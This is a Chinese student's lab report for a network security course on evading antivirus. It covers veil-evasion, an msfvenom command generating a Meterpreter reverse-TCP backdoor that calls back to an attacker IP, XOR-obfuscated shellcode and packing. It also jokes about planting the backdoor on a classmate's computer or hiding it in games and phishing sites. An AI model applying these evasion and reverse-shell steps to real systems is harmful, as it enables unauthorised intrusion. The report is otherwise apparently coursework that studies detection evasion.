20154307《网络对抗》Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
启发式恶意软件检测
基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等。。
(2)免杀是做什么?
让攻击程序不被杀软查杀
(3)免杀的基本方法有哪些?
加壳
改变特征码
二、实践内容
1、使用msf生成后门程序的检测
由于上一个实验我们已经用msf生成了一个后门程序,于是我就直接用上一个后门来检测
当然。。。结果是不容乐观的,毕竟上次的实验是在关闭杀软和防火墙的情况下做的。。。。
360也无情查杀。。
用msf多次编译检测结果也好,这里我就没有截图。。。。
2、使用veil-evasion生成后门程序的检测
首先啊,这个部分之前,我们要先安装veil-evasion
sudo apt-get install veil-evasion
这个命令,安装之。。。
(过程中,下载速度和安装速度实在无力吐槽。。。。心累)
下载安装好以后,我们在终端输入veil
输入use 1进入如下界面
输入list,查看payload模板,嗯,挺多的,有41个。。。
这里我选择了6
如下图我更改了端口号和IP地址
我把它命名为4307
检测该文件,稍微好了一点,不枉我下载和安装了那么久的veil
360依然无情。。。。。
3、利用shellcode编写后门程序的检测
在终端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip PORT=端口号 -f exe > met.exe
把这段机器指令复制下来
我首先在linux情况下,生成了exe
检测结果不是很乐观啊。。。
360也拦截了他
于是我在用codeblocks做了一遍,生成的exe检测结果比linux稍微好了一些
同时,360沦陷了,哈哈哈
4、将shellcode异或
我把之前复制出来的机器指令,和43异或,这个可以在codeblocks实现。
把异或的结果输入buf,然后在主函数中将其在此异或
大概就像上图那样。。。。。这个我是在linux下完成的。。
生成的exe检测。。结果。。。。。并没有我想象中那么好。。。
然后我用了codeblock。。。发现比linux下好一些。。。
我把异或的数字换成了17,发现结果稍微好了一些。。。。(这个是在codeblocks上做的)
当然,对shellcode的修改不止有异或,我们还可以逆序,或者把异或和逆序结合,我想这样可能报病毒的概率会更低。。。但由于时间有限,我也没做更多的尝试。。。。。。
以上三个exe,360全部阵亡。。。。。,以下是我的回连结果。。。
可以回连的。。想到上一次实验的窥屏。。。。。。。把这个植入同学的电脑。。。嘿嘿嘿。。
5、加壳
我把上一次veil生成的exe,加了壳。。。。额。。。
下面这个是加壳之前的。。。。。
崩溃了,边上的同学加壳以后报病毒是0。。。0。。。。
综上,这次实验就做完了。。
三、离实战还缺些什么技术或步骤?
我觉得shellcode的异或已经可以欺骗一部分用户了,例如360的用户。虽然报病毒的概率还有待降低。当然,把攻击程序装入靶机还是需要一定的技术的,例如把他藏在一个什么游戏之下(贪玩蓝月),或是一些钓鱼网站。。。。然后随着杀毒软件的库在不断更新,我们的技术也不能一直使用,也要同时去更新。
四、实验总结与体会
360确实不够厉害,而且我们也不能完全把电脑的安全依赖于杀软,杀软只能用于病毒的防范,病毒的防范,还是要看自己,在上网,玩游戏的时候要有安全意识。
同时,我们做的免杀还是比较基础的,在免杀的制作和防范上,我们要走的路还是很远的。。。。
嗯,这次实验还是很有意思的。。。。